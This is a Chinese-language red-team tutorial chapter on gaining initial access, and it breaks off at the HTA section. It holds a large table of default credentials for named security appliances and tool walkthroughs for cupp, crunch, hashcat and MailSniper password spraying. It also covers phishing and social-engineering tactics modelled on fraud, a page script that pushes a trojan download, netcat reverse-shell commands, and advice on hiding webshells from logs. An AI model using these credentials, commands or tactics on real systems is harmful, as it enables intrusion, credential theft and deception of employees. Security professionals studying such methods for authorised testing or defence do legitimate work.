Red Team: Initial Access
获取入口,拿 Shell,就是拿下据点(Foothold)。
目录
- 目录
- 1 获取入口
- 1.1 应用漏洞⚒️
- 1.2 密码(Password)
- 1.3 近源渗透⚒️
- 1.4 社会工程学(Social Engineering)
- 1.5 钓鱼(Phishing)⚒️
- 2 反弹 Shell
- 2.1 Windows
- 2.1.1 Netcat⚒️
- 2.1.2 HTA
- 2.1.3 Rundll32
- 2.1.4 Regsvr32
- 2.1.5 Certutil
- 2.1.6 Powershell
- 2.1.7 msiexec
- 2.1.8 exe 可执行文件
- 2.2 Linux
- 3 建立隧道⚒️
- 4 文件传输
- 4.1 FTP
- 4.2 SFTP⚒️
- 4.3 Bitsadmin
- 4.4 Certutil
- 4.5 PowerShell
- 4.6 SCP⚒️
- 4.7 WSH
- 4.8 Wget
- 4.9 Curl
- 4.10 NC
- 4.11 Git
- 4.12 SMB
- 4.13 PHP
- 4.14 Python
- 4.15 Ruby
- 4.16 Perl
- 参考资料
1 获取入口
主要挖掘能拿权限的漏洞以及打现有 NDay:
- SQL Injection
RCE
- 反序列化
- 代码执行
- 命令执行
- 文件上传
- 弱口令
OPSEC:有了 RCE 权限写 WebShell 时,需要注意文件名要取的跟正常名称类似,放在与正常被请求的脚本目录中,不要放在其他目录内扎眼。请求方法不要使用 GET 传输数据,因为 Web 日志记录会记录请求行,在没有流量或日志审计设备,使用 POST 传输可以增加隐蔽性,对方顶多只能从请求时间、请求文件名、请求频率来判断是不是恶意脚本。
1.1 应用漏洞⚒️
一、开源应用及组件
这里只写了部分应用及组件,没包含供应链应用。
本小节里面内容将写出一系列文章,将其贴入即可。如 Struts2。
Struts2:
- [CVEXXXX-XXXX 分析]()
- ......
Struts2
Log4j
Shiro
fastjson
Spring 家族
ThinkPHP
ElasticSearch
Dedecms
PHPCMS
ECshop
Metinfo
Discuz
帝国CMS
phpMyAdmin
WordPress
Joomla
Drupal
ActiveMQ
Solr
RabbitMQ
ZooKeeper
Typecho
SiteServer
禅道
通达 OA
二、WebServer
WebLogic
IIS
Jekins
Apache
Nginx
Jboss
WildFly(前身叫 Jboss)
Tomcat
IBM WebSphere
Axis2
GlassFish
三、集成环境
一般偷懒或者不会搭建环境的人使用,没有权限意识则的会用管理员运行权限启动,如 Administrator 或 ROOT。
常见环境有:
- 宝塔
- PHPStudy
- AppServ
- Xampp
1.2 密码(Password)
1.2.1 密码猜解(Password Guessing)
也有叫 Brute Force,都一个意思,不断尝试猜测目标系统账户去登录。
OPSEC:登录失败产生日志记录,达到一定次数部分 Web 系统可能自动锁定账户,或者发送短信告警。
弱口令(Weak Password)
先谈弱口令,通常弱口令位数较短,有重复。可以说大多数人都知道的密码就是弱口令。
比如常见产品的默认账户,网上泄露的密码。这里搜集了部分国内流传的产品账户供你参考。
产品名称 | 账号 | 密码 |
---|---|---|
vCenter/ESXi | administrator@vsphere.local | |
root | ||
深信服负载均衡AD 3.6 | admin | admin |
深信服 WAC ( WNS V2.6) | admin | admin |
深信服 VPN | Admin | Admin |
深信服 ipsec-VPN (SSL 5.5) | Admin | Admin |
深信服 AC6.0 | admin | admin |
SANGFOR 防火墙 | admin | sangfor |
深信服 AF(NGAF V2.2) | admin | sangfor |
深信服 NGAF 下一代应用防火墙(NGAF V4.3) | admin | admin |
深信服 AD3.9 | admin | admin |
深信服上网行为管理设备数据中心 | Admin | 密码为空 |
深信服科技 AD dlanrecover | sangfor | sangfor@2018 |
sangfor | sangfor@2019 | |
sangfor | sangfor | |
深信服产品/AD | sangfor | dlanrecover |
SANGFOR_AD_v5.1 | admin | admin |
联想网御 | administrator | administrator |
网御漏洞扫描系统 | leadsec | leadsec |
网御事件服务器 | admin | admin123 |
联想网御防火墙 PowerV | administrator | administrator |
联想网御防火墙 | admin | leadsec@7766 |
administrator | ||
bane@7766 | ||
联想网御入侵检测系统 | lenovo | default |
网络卫士入侵检测系统 | admin | talent |
科来网络回溯分析系统 | csadmin | colasoft |
中控考勤机 web3.0 | administrator | 123456 |
金蝶默认口令(很老了) | kingdee | kingdee123! |
H3C iMC | admin | admin |
H3C SecPath 系列 | admin | admin |
H3C S5120-SI | test | 123 |
H3C 智能管理中心 | admin | admin |
H3C ER3100 | admin | adminer3100 |
H3C ER3200 | admin | adminer3200 |
H3C ER3260 | admin | admin3260 |
方正防火墙 | admin | admin |
飞塔防火墙 | admin | 密码为空 |
Juniper_SSG__5 防火墙 | netscreen | netscreen |
中新金盾硬件防火墙 | admin | 123 |
kill 防火墙(冠群金辰) | admin | sys123 |
阿姆瑞特防火墙 | admin | manager |
山石网科 | hillstone | hillstone |
绿盟产品 | nsfocus | 123 或是 nsfocus123 |
supervis | shell | |
admin | weboper | |
auditor | webaudit | |
conadmin | admin | |
shell | conadmin | |
weboper | supervisor | |
webaudit | sysadmin | |
supervisor | auditor | |
sysadmin | sysmanager | |
sysmanager | sysadmin | |
sysauditor | sysauditor | |
maintainer | nsfocus | |
nsadmin | maintainer | |
webpolicy | nsadmin | |
webpolicy | ||
绿盟安全审计系统 | weboper | weboper |
webaudit | webaudit | |
conadmin | conadmin | |
admin | admin | |
shell | shell | |
TopAudit 日志审计系统 | superman | talent |
LogBase 日志管理综合审计系统 | admin | safetybase |
网神 SecFox 运维安全管理与审计系统 | admin | !1fw@2soc#3vpn |
Hillstone 安全审计平台 | hillstone | hillstone |
网康日志中心 | ns25000 | ns25000 |
网络安全审计系统(中科新业) | admin | 123456 |
天玥网络安全审计系统 | Admin | cyberaudit |
明御攻防实验室平台 | root | 123456 |
明御安全网关 | admin | adminadmin |
明御网站卫士 | sysmanager | sysmanager888 |
明御 WEB 应用防火墙 | admin | admin |
admin | adminadmin | |
明御运维审计与册风险控制系统 | admin | 1q2w3e |
system | 1q2w3e4r | |
auditor | 1q2w3e4r | |
operator | 1q2w3e4r | |
360 天擎 | admin | admin |
网神防火墙 | firewall | firewall |
天融信防火墙 NGFW4000 | superman | talent |
talent!23 | ||
天融信数据库审计系统 | superman | telent |
Cisco 设备 | cisco | cisco |
admin | ||
admin | cisco | |
cisco | cisco123 | |
天阗入侵检测与管理系统 V7.0 | Admin | venus70 |
Audit | venus70 | |
adm | venus70 | |
天阗入侵检测与管理系统 V6.0 | Admin | venus60 |
Audit | venus60 | |
adm | venus60 | |
网御 WAF 集中控制中心(V3.0R5.0) | admin | leadsec.waf |
audit | leadsec.waf | |
adm | leadsec.waf |
测试成功后注意事项:
- 不要乱浏览数据
- 不要下载数据
- 不要删除数据
- 不要挂代理测试
Web 方面使用 Intruder 爆破。
弱口令爆破思路:
- 有默认密码尝试默认密码
- 后台就使用管理员字典,前台就用用户字典。
- 先使用低线程跑如果服务器处理速度快可以加高每秒请求数量,避免把服务器资源耗尽无法服务。
- 确认用户密码强度,缩小用户名范围。
除了 Web 应用弱口令也需要关注其他服务,如:
- Database:MySQL、SQL Server、DB2、Mongo DB、Oracle、PostgreSQL、SQLServer
- Server Management:RDP、SSH
- FTP
- POP3
- SMB
这些服务使用 Hydra 可以完成弱口令测试。
Hydra
演示 MySQL、RDP、SSH、FTP、SMB 服务弱口令测试。
Wordlists
光知道使用现成的字典去爆破成功率会低,最好根据目标已有密码或账户规则进行定制生成。
密码规律
中国密码常见规律,使用工具生成。
账户名@公司字母简称
- wangxiang@jy
账户名@常见弱口令
- wangxiang@1234
账户名.常见弱口令
- wangxiang.1234
账户名.公司字母简称
- wangxiang.jy
公司简称加常见弱口令
- JY1234.com
- JY888888
- JY666666
- JY@1234.com
密码与账户相同
- wangxiang
常见弱口令。
123.com
pass1234
admin
admin234
000000
12345678
123456789
1234.com
12345.com
123456.com
Abc12345
123456
1qaz!QAZ
123457
12345678a
qwer1234
888888
999999
password
Abc12345
账户命名规律
关于规律在 Recon 阶段从社工库或者收集到的邮箱观察就会得知。
姓名全拼(也有可能是花名)
- liangshuo, 梁硕
姓名全拼首字母大写
- Liangshuo, 梁硕
姓全拼名简拼
- xuyh, 许玉辉
姓全称_名简称
- zhang_ran, 张然
重复的可能会在后面加数字
- zhang_ran1, 张然
有的公司会有外包,账户前缀加 e(external)
- eliangshuo
- ezhangr
掌握了规律后使用 cupp 和 crunch、John the Ripper 生成字符。或者根据目标账户、密码规律进行自定义排列组合定制生成字典。
cupp
cupp 是一个交互式工具,你输入个人信息,它针对这些内容给你生成字典。
这个工具只需要使用 -i 和 -q 即可,-i 是交互式生成字典,-q 是 quiet 模式禁止运行工具时打印横幅。所以本质上只需要使用 -i 即可。
PS C:\Users\gbb\Desktop\cupp> python cupp.py -iq
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: 学书
> Surname: 吴
> Nickname: Mr. Wu
> Birthdate (DDMMYYYY): 03081993
> Partners) name: 王二永
> Partners) nickname: Mr.Wang
> Partners) birthdate (DDMMYYYY): 09061979
> Child's name: 吴成谦
> Child's nickname: Honey
> Child's birthdate (DDMMYYYY): 07152000
> Pet's name: Bomom
> Company name: 北京汽车集团有限公司
> Do you want to add some key words about the victim? Y/[N]: Y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: 父亲,儿子,安全工程师
> Do you want to add special chars at the end of words? Y/[N]: Y
> Do you want to add some random numbers at the end of words? Y/[N]:Y
> Leet mode? (i.e. leet = 1337) Y/[N]: Y
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to 学书.txt, counting 126395 words.
> Hyperspeed Print? (Y/n) :
[+] Now load your pistolero with 学书.txt and shoot! Good luck!
基本问了四部分信息,受害人、受害人伴侣、受害人孩子以及宠物信息,如果没有这部分信息直接回车跳过即可。
得出的字典存在空行,不方便,使用正则 ^\s*(?=\r?$)\n
搜索并替换为空,如果字典带有中文需要使用 GB2312 编码重新打开防止乱码。
谦成吴_51500
谦成吴_515000
谦成吴_51507
谦成吴_5152000
谦成吴_5157
crunch
crunch <min-len> <max-len> [<charset string>] [options]
语法很简单生成字符 <min-len>
最小长度,<max-len>
生成字符最大长度。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 1 1
Crunch will now generate the following amount of data: 52 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 26
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
这里指定字符长度为 1,表明要获取长度为一的字符,默认从 a-z 里面取。
[<charset string>]
是指定字符集,所有的生成字符从里面取。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 1 1 "ac d"
Crunch will now generate the following amount of data: 8 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 4
a
c
d
穷尽指定的字符 ac d
后,总共四行。
要是觉得手动设置字符集很麻烦,你也可以用工具自带的字符集 charset.lst(源码包中自带,Kali 中位于 /usr/share/crunch/charset.lst)。
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro (mao@oxid.it)
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei <shuanglei@hotmail.com>
hex-lower = [0123456789abcdef]
hex-upper = [0123456789ABCDEF]
numeric = [0123456789]
numeric-space = [0123456789 ]
symbols14 = [!@#$%^&*()-_+=]
symbols14-space = [!@#$%^&*()-_+= ]
symbols-all = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
symbols-all-space = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
或者参考官方字符集格式,创建一个自己的字符集。
lowerCaseCharacter = [a]
upperCaseCharacter = [ABC]
digitalCharacter = [123]
......
使用 -f <charset file> <charset name>
指定就好。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 1 1 -f ./charset.lst digitalCharacter
Crunch will now generate the following amount of data: 6 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3
1
2
3
还有个 -t 选项很好用,跟 JS 模板字符串或 Python 字符串格式化一样,可以将指定字符自动替换为其他值。-t 选项有几个值:
@
,小写字符,
,大写字符%
,数字^
,特殊字符
此案例从官方手册中 Example 13 改变而来。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 3 3 a ABC 123 + -t "@,%" -o genDict.txt
Crunch will now generate the following amount of data: 36 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 9
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/Desktop]
└─$ cat genDict.txt
aA1
aA2
aA3
aB1
aB2
aB3
aC1
aC2
aC3
这条命令参数太多,分为三部分来看。
3 3
,生成三个字符。
a ABC 123 +
,则是字符集,奇怪了字符集为啥是空格隔开?这是官方建议字符集顺序按照小写字符 -> 大写字符 -> 数字 -> 符号顺序填写,如果其中部分不使用,用加号占位即可。
-t "@,%"
,是将这三个字符第一位设置为小写,因为指定了字符集所以取字符集中指定的字符 a,没有指定字符集就默认取 a-z。第二位设置为大写字符,因为字符指定了 ABC 则使用字符集设定范围内字符。数字部分也是如此。
这个模式有个缺陷,当你使用了 -t 中 value 关键字时不能转义,比如此时我搜到一个邮箱账户 add@qq.com,想枚举邮箱所有 3 个小写字母的用户名。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 10 10 -t @@@@qq.com -o tet
Crunch will now generate the following amount of data: 5026736 bytes
4 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 456976
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/Desktop]
└─$ head -n 5 tet
aaaaqq.com
aaabqq.com
aaacqq.com
aaadqq.com
aaaeqq.com
直接把 @ 当作小写处理,明显不符合我们需求。
那使用转义符行不行呢?
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 11 11 -t "@@@\@qq.com" -o tet 1 ⨯
Crunch will now generate the following amount of data: 5483712 bytes
5 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 456976
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/Desktop]
└─$ head tet
aaa\aqq.com
aaa\bqq.com
aaa\cqq.com
aaa\dqq.com
aaa\eqq.com
aaa\fqq.com
aaa\gqq.com
aaa\hqq.com
aaa\iqq.com
aaa\jqq.com
使用 \ 只会把 \ 当作普通字符插入,@ 丝毫不影响还是小写字符。
由此只能换个思路,既然 -t 可以使用我们指定的字符集,那么我将 @ 作为字符集,-t 届时自动替换我们指定的字符集 @。
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 10 10 + + @ + -t "@@@%qq.com" -o tet
Crunch will now generate the following amount of data: 193336 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17576
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/Desktop]
└─$ head tet
aaa@qq.com
aab@qq.com
aac@qq.com
aad@qq.com
aae@qq.com
aaf@qq.com
aag@qq.com
aah@qq.com
aai@qq.com
aaj@qq.com
可以看到 % 原意替换为数字,这里我们将数字的字符集指定为 @,在实际替换中程序直接把 @ 作为数字替换。
密文识别与破解
很多时候字典有了,但是对方的密码加密,或者系统登录要求密文,又分辨不出是什么类型编码、加密、哈希。
工具从旧到新排列。
- https://github.com/psypanda/hashID
- https://github.com/blackploit/hash-identifier
- https://github.com/HashPals/Name-That-Hash
- https://github.com/Ciphey/Ciphey
哈希识别只推荐 Name That Hash,分命令行版本和 Web 版。其准确性不用太在乎,估计就是根据输出数据定长位数判定类型。试了试商密 SM3,给识别成 SHA-256。
Most Likely 就是工具认为最可能的 Hash 类型,优先级从前到后排列。
而 Ciphey 都能支持的加密较多些,都是些编码和古典密码。但我测试了 Gzip + Base64 和仅 Base32 的编码数据,没有一个解出来,Base32 倒是出了些结果每次都问你,看这个明文数据对吗?一直问一直问,可见准确性一般。
通常知道密文后会直接扔 cmd5 自动分析类型查询明文,一般用不到 hashcat 本地计算明文,基本上算不出来,但是还是要了解 hahscat 基本使用方法。
hashcat
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
用法很简单就是 hashcat 哈希 [字典]
-a --attack-mode
- [ Attack Modes ] - # | Mode ===+====== 0 | Straight 1 | Combination 3 | Brute-force 6 | Hybrid Wordlist + Mask 7 | Hybrid Mask + Wordlist 9 | Association
-m --hash-type,--help 查 Hash modes 表可以得到 -m 所有参数,这里列出常见值
--show 显示原始密文、哈希与明文放在一起比较 raw:painText,比如:
e48e13207341b6bffb7fb1622282247b:1337
TryHackme Task5 官方示例
1.使用字典爆破 SHA1 哈希
hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
通过 Status...........: Cracked
能确认已经破解成功,而且把对应哈希和名称以冒号做分隔展示 8d6e34f987851aa599257d3831a1af040886842f:sunshine
。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 9.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: pthread-AMD Ryzen 7 4800H with Radeon Graphics, 5836/5900 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Initializing backend runtime for device #1...
Host memory required for this attack: 65 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
8d6e34f987851aa599257d3831a1af040886842f:sunshine
Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA1
Hash.Target......: 8d6e34f987851aa599257d3831a1af040886842f
Time.Started.....: Mon Jan 30 03:27:13 2023 (0 secs)
Time.Estimated...: Mon Jan 30 03:27:13 2023 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 95002 H/s (0.23ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> oooooo
Started: Mon Jan 30 03:26:45 2023
Stopped: Mon Jan 30 03:27:15 2023
2.使用本机计算能力爆破 4 位数 MD5
hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 9.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: pthread-AMD Ryzen 7 4800H with Radeon Graphics, 5836/5900 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
e48e13207341b6bffb7fb1622282247b:1337
Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: e48e13207341b6bffb7fb1622282247b
Time.Started.....: Mon Jan 30 03:12:50 2023 (0 secs)
Time.Estimated...: Mon Jan 30 03:12:50 2023 (0 secs)
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 13837.0 kH/s (0.32ms) @ Accel:1024 Loops:10 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10000/10000 (100.00%)
Rejected.........: 0/10000 (0.00%)
Restore.Point....: 0/1000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-10 Iteration:0-10
Candidates.#1....: 1234 -> 6764
Started: Mon Jan 30 03:12:49 2023
Stopped: Mon Jan 30 03:12:51 2023
这个 ?d 是什么意思?,? 代表字符 d 是其字符集。
- [ Built-in Charsets ] - ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff
在实战中需要对数据编码、加密、哈希个人用 CyberChef 多,能够满足日常测试需求,相比 Ciphey 没古典密码类的支持。
John the Ripper
pass
1.2.2 密码喷洒(Password Spraying)⚒️
为了防止暴力破解导致的账户锁定,而你又知道账户的初始化密码,可能存在大量未修改密码账户,因此就可以针对尝试使用这一个密码尝试登录多个用户名。
密码喷洒密码喷洒和暴力破解区别是什么呢?前者是一个密码对多个账户进行登录,后者是一个账户尽可能使用多个密码尝试登录。
PS:示例待更新,因为要把 Exchange 和 Office 365 做成专题。这里举例可以换成 RDP、SSH 等等
Exchange
https://github.com/dafthack/MailSniper
导入脚本。
ipmo .\MailSniper.ps1
Invoke-DomainHarvestOWA 获取 NetBIOS 名。
Invoke-DomainHarvestOWA -ExchHostname <host>
Invoke-UsernameHarvestOWA 验证邮箱名。
Invoke-UsernameHarvestOWA -ExchHostname <host> -UserList .\userName.txt -OutFile SprayedResult-ValidUserames.txt
如果目标有多个域,可以用 -Domain 指定子域去验证邮箱名。
Invoke-DomainHarvestOWA -ExchHostname <Host> -Domain <domain> -UserList .\userName.txt -OutFile SprayedResult-ValidUserames.txt
喷洒密码。
Invoke-PasswordSparyOWA -ExchHostname <Host> -UserList .\userName.txt -Password <Password> -OutFile SprayedResult-ValidAccounts.txt
OPSEC:每次失败都有记录,达到一定次数触发账户锁定策略。
一旦获取一个有效账户后可以去下载所有 Email 地址 重复枚举其密码。
Get-GlobalAddressList -ExchHostname <Host> -UserName <Domain>\<username> -Password <Password> -OutFile SprayedResult-GlobalMailAddressList.txt
获取到一堆有效账户后,可以登录去搜敏感信息,甚至主动发邮件钓鱼,比如把要回复的邮件原本附件中添加宏。
Office 365
1.3 近源渗透⚒️
物理渗透、物理攻击、近源渗透,这几个的意思都是在接近目标进行安全测试。不光要会攻击,有时候涉及到开锁、复制卡这种硬件技能。🤣
需要寻找的目标:
- 办公区开放使用的自助终端机,比如申请门禁,自助挂号
- 大厅开放的信息展示大屏,播放视频用,但支持触屏功能
https://tttang.com/archive/1888
接近目标后,还需要考虑对方的工卡样式的制作,比如卡套、封面和挂绳,甚至着装是不是要正装或者,以及你的要模拟的身份,对应部门是哪个,对应领导是谁,同事叫什么。
对应安保换班时间,上下班时间,吃饭休息时间,会议时间。
1.3.1 Wi-Fi
爆 Wi-Fi 密码。
搭建钓鱼 Wi-Fi。有些公司 Wi-Fi 使用的域账户做认证,抓用户名和哈希。
https://www.boundaryx.com/info/853.html
甚至有可能提供访客网络,没做网络隔离直接进入内网。
1.3.2 无线电
通过监听对讲来获取信息。
1.3.3 网线
终端没有网络准入控制,网络面板直接插网线看 DHCP 能否获取 IP。
1.3.4 Bad USB
Black Hat 上提出 Bad USB。
https://attack.mitre.org/techniques/T1091/
相关报道:https://www.minitool.com/news/usbharpoon.html
USB 商品:https://shop.hak5.org/products/usb-rubber-ducky
数据线商品:https://shop.hak5.org/products/omg-cable?variant=39808316309617
1.3.5 Smart Card
复制门禁......
1.3.6 Lock Picking
开锁......
1.3.7 基站
软基站拦截目标短信。
1.4 社会工程学(Social Engineering)
社会工程学本质是获取信任进行利用,怎么得到信任?搞到最后跟电信诈骗手法类似,要多向电诈、PUA、赌博、传销这些学习,用的技术回到本质上都殊途同归。
- 加入对方卧底突破。直接以正式身份进入目标内部,来钓鱼或者拿权限。
- 伪装身份。领导、同事(客服/HR)、合作商、同学,需要提前准备好各个角色文案话术语料,猜想对方会有什么疑惑,如果涉及账户,在社工项目准备工作前可以提前养号,比如微信号。木马工具也是提前做好面杀,确保行动安全。
1.5 钓鱼(Phishing)⚒️
https://attack.mitre.org/techniques/T1566/
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#phishing-setup
钓鱼一般是指广撒网,鱼叉式钓鱼是有针对性目标钓鱼。
钓鱼在信息收集阶段就同步进行。收集完再发钓鱼,有个时间差,人家不一定点呢。
比如在投递简历,传带有宏的 doc,拿 HR 终端权限,获取通讯录,爆账户密码。
钓鱼一般拿到的都是办公机器权限,能够直接内网横向,相比 Web 和进源来看,攻击成本最低,收益最高。
学习资料:https://blog.0xffff.info/2021/06/23/an-overview-of-obscure-spear-phishing-techniques/,An overview of obscure spear-phishing techniques
分两种手段:
- 鱼叉式钓鱼附件
- 鱼叉式钓鱼链接
多种渠道投递:
- 邮箱
- 社交软件
- 短信
- 电话
- ......
1.5.1 钓鱼手段
鱼叉式钓鱼附件(Spear Phishing Attachments)
1.Office 宏
原理见 Red Team: Infrastructure - MS Office Macro
2.可执行文件
在发件要增加打开几率可以作这么几件事。
首先写好文案,附件要作图标替换,附件名配合文案做好伪装,后缀呢可以双后缀名,赌默认没有开启文件后缀名显示功能。
可使用长文件名,在大多数压缩包中不会显示后缀,在 Windows 桌面只要不单击文件也不会展示后缀。
2023第二季度考勤异常信息表 .exe
打开也可以弹出个错误框,在点击确认后可执行文件自删除,自动进程迁移。
3.HTML 静态页
邮件钓鱼中 HTML 走私
4.快捷方式
https://dmcxblue.gitbook.io/red-team-notes/initial-acces/spear-phishing/lnk-files
5.屏保文件
https://dmcxblue.gitbook.io/red-team-notes/initial-acces/spear-phishing/scr-files
6.中转附件
还可以在附件放上 zip、pptx、pdf、html 这些文件,内容放置二维码或者 URL 让受害者自己打开钓鱼页面。
鱼叉式钓鱼链接(Spear Phishing Links)
发送邮件但是不包含附件,通常在邮件内容上做手脚,比如放上 URL 链接、图片二维码。
涉及到的 URL 会使用短链接(URL shortening),相似字符伪装如 I 和 l 在某些字体上显示基本一直。
关于访问 URL 涉及到的技术有运行 HTA 和 EXE,或者钓鱼站点收集信息。
也不光可以使用 URL,也能直接把 URL 做成 QR Code,搞张大海报贴人公司墙上。
1.5.2 投递渠道
钓鱼邮件
准备几套钓鱼信,按照场景分,结合 ChatGPT 润色。
钓鱼吃瓜邮件,或者举报邮件。
通过邮箱传递。
如果拿下一个内部邮箱账户,可以用来向内部发送钓鱼邮件,这样可信度更高。
邮件伪造
SPF
DKIM
DMARC
可以用 https://github.com/BishopFox/spoofcheck 检测
还要对抗邮件网关,防止检测并退信,并且异常还会将你的样本留存在异常记录中。
钓鱼短信
pass
如何防止如熊猫吃短信这种 App 报成垃圾短信?
钓鱼站点
模拟出一个真实钓鱼页面,迷惑受害者输入账户,通过 JS 正则验证输入账户是否正确,所有信息格式正确后通过 Javascript Fetch or XMLHttpRequest API 发送数据到服务器,服务器通过参数来获取数据并存入本地数据库或文件。
- 使用 Typosquatting 攻击选择一个相似域名,比如 www.baidu.com,变为 www.baidU.com
- 制作 Web 页面,如 VPN、OA
Nginx 反向代理嗅探明文账户。
最近就遇到一个静态页面钓鱼站点,一打开页面就先弹窗,后跳转自动下载木马。
window.alert("您未安装安全输入控件,请下载并安装控件后刷新页面即可登录")
window.onload = function(){
window.location.href='./static/active.exe';
}
社交网络
钓鱼路径:邮件钓鱼基本没人点,大多都是社交或者客服钓鱼,要针对对外业务的人员。
钓鱼话术:以猎头身份微信找人聊。钓鱼也可以拿到,内部系统账户人员信息,钓鱼先养号,朋友圈先发,开微信公众号。怎么知道那边受害者信息?就说通过猎头拿到的,去按照受害者所在地区提供对应岗位。提前养号脉脉,获得应聘人员权限。
2 反弹 Shell
https://highon.coffee/blog/reverse-shell-cheat-sheet/
反弹 Shell(Reverse Shell)分正向和反向,正向是目标机器开放入口等待主动连接,我们连接成功后拿到 Shell,如 Web Shell。一旦涉及到弹系统 Shell 则较麻烦,目标防火墙入站不接受日常服务——SSH、HTTP、HTTPS 以外规则访问,导致无法连接成功。
Client -> Firewalld -> Server
反向则是目标机器将自己 Shell 交出来主动连接我们服务器。只要目标机器能够外连互联网机器即可,这种情况避免了入站流量被阻断的情况,一般来说出站流量不会收到限制。
Server -> Firewalld -> Client
2.1 Windows
2.1.1 Netcat⚒️
1.正向连接
服务端监听。将 cmd 重定向到 6666 端口。
nc -lvp 6666 -e cmd.exe
客户端连接。
nc 1.1.1.1 6666
2.反向连接
服务端主动连接客户端。主动将 cmd.exe 传递到 1.1.1.1 7777 端口
nc -e cmd.exe 1.1.1.1 7777
客户端等待连接
nc -lvp 7777
2.1.2 HTA
相关原理见 Red Team: Infrastructure - HTML Application(HTA)
